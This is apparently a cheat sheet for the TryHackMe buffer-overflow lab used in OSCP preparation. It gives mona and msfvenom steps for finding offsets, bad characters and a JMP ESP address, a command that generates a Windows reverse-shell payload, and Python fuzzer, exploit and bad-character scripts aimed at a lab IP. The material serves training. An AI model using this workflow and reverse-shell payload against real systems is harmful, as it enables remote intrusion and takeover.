Buffer Overflow6 TryHackMe OSCP FAST

Open immunity as an administrator
Set local working folder : !mona config -set workingfolder c:\mona\%p
FUZZ
Create a pattern of bytes to find the offset : msf-pattern_create -l
Find the Offset distance: either use immunity : !mona findmsp -distance 1100 OR msf-pattern_offset -l -q EIP
Create byte array in mona to compare bad chars to : !mona bytearray -b "\x00"
Generate bad chars for the payload using the script
Compare for Bad Chars : !mona compare -f C:\mona\oscp\bytearray.bin -a 'ESP'
Add the Found list of bad chars to our script. Remember it is every second char after the 1st two
update the mona byte array list : !mona compare -f C:\mona\oscp\bytearray.bin -a ''ESP''
When no more bad chars exist we must look for a jump point : !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Update the RETN variable (Where the EIP points make sure you format like this \x00\x00 etc...) : Ths will be found from the previous output look for ALSR false
Remeber it is likely to be little endian!!!
generate our payload - be sure to pass the bad chars!! : msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -b '\x00\x23\x3c\x83\xba' EXITFUNC=thread -f python -v payload


Fuzzer

import socket, time, sys

ip = "10.10.45.23"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) (!!!!!INSERT LESS THAN SIGN HERE!!!!!!!) 30:
buffer.append("A" * counter)
counter += 100

for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)




exploit

import socket

ip = "10.10.45.23"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")



badchars

from __future__ import print_function
listRem = "".split("\\x")
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\x" + "{:02x}".format(x), end='')
print()



Join me on Facebook with a community of up and coming hackers!!

https://www.facebook.com/HackItAddict